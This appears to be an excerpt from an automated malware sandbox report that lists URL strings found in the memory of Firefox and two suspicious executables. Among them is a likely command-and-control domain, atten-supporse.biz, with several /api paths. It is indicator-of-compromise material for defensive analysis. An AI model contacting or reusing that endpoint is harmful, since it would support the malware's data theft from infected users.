Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001B.00000002.3653135084.000001C23FBFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3623983459.000001C23CAC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3633701258.000001C23D220000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FBF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3623183764.000001C23CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3523868951.000001C23BE37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3187826061.000001C23F184000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3523689736.000001C23BD2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B95C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3210547179.000001C244731000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3624313828.000001C23CB67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3623183764.000001C23CA55000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3180385718.000001C2447D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3253393286.000001C23DED2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3253393286.000001C23DEB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3653135084.000001C23FB1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3157207703.000001C23CAC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3654754835.000001C23FD05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.3648161023.000001C23E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001B.00000002.3648161023.000001C23E96C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D8C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3190903073.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3523689736.000001C23BD2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23EDE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3624313828.000001C23CB67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238599000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3636872771.000001C23D9D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3649402880.000001C23EB13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3649402880.000001C23EB58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3624313828.000001C23CB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239BD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-captiv
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulonDownloadBatchStarting
Source: e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3301502115.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.3628973173.000001C23CF4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: 79ddad050f.exe, 00000008.00000003.2979049327.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2978883446.000000000591E000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136098458.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3135783451.0000000005969000.00000004.00000800.00020000.00000000.sdmp, DHDHJJJE.9.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca_createPermissionClearButtontemplate-permission-popup_createBlockedPopup
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437483944.000001C23A0C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3263358958.000001E2D6CB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3267971841.00000235A5890000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000002.3654754835.000001C23FDA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3191961267.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3648786422.000001C23EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3645263356.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3244240541.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3649402880.000001C23EB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3626934066.000001C23CEB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3626934066.000001C23CE19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3438395331.000001C23B6DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B4B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3436711953.000001C239B6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001B.00000002.3624313828.000001C23CBC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orghttps://monitor.firefox.comupgradeTabsProgressListenerStreams
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D006000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D00B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3631873065.000001C23D003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpTELEMETRY_ASSEMBLE_PAYLOAD_EXCEPTIONinternal-telemetry-after-
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: 79ddad050f.exe, 00000008.00000003.3130122361.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2972144892.0000000000FE2000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3179670006.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3180642023.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3113176608.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093262916.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3071939046.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 79ddad050f.exe, 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/3
Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/9
Source: 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/=
Source: 79ddad050f.exe, 00000008.00000003.3130122361.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/B
Source: 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/U
Source: 79ddad050f.exe, 00000008.00000003.3007919799.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/YYNP
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/YYNPZ
Source: 79ddad050f.exe, 0000000A.00000003.3218476120.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3220379720.0000000001000000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3170698705.0000000001001000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3286400452.0000000005930000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3218476120.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3228403714.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api1rq
Source: 79ddad050f.exe, 00000008.00000003.3129362913.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3129511355.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiGrc
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiR
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apigq
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apipy
Source: 79ddad050f.exe, 0000000A.00000002.3261656724.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apit
Source: 79ddad050f.exe, 00000008.00000003.3093351700.000000000100D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apite
Source: 79ddad050f.exe, 0000000A.00000003.3166621569.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3231030291.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3220379720.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3233138119.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3228403714.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3170698705.0000000001010000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3218476120.0000000001010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/c
Source: 79ddad050f.exe, 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/imZ
Source: 79ddad050f.exe, 00000008.00000003.3093876019.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093554780.0000000000FD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/pp
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/r
Source: 79ddad050f.exe, 00000008.00000003.3004575297.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/z
Source: 79ddad050f.exe, 00000008.00000003.3129362913.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3129511355.0000000001002000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: 79ddad050f.exe, 00000008.00000003.3093262916.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3058481738.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3031373012.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3112948159.0000000000FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiK
Source: 79ddad050f.exe, 00000008.00000003.3112948159.0000000000FEC000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000002.3261656724.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/apiicrosoft
Source: firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001B.00000003.3182542929.000001C2444C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: 79ddad050f.exe, 00000008.00000003.3034902192.00000000058E6000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 79ddad050f.exe, 00000008.00000003.3071958738.00000000058E1000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3241098493.0000000001039000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3437961664.000001C23B42D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3346346381.000001C237BAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3264245114.000001E2D6EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A53EB000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.27.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001B.00000002.3636872771.000001C23D903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3637244801.000001C23DA29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3646061223.000001C23E66C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610655302.000001C23C377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1170143
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1189266
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/skin/notification-icons/popup.s
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3243620551.000001C23E2D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1266220
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1283601
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3482921182.000001C23B981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3242550855.000001C23E2FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3246123613.000001C23CE15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3258019114.0000001AEF4BB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678942
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1817617
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=792480
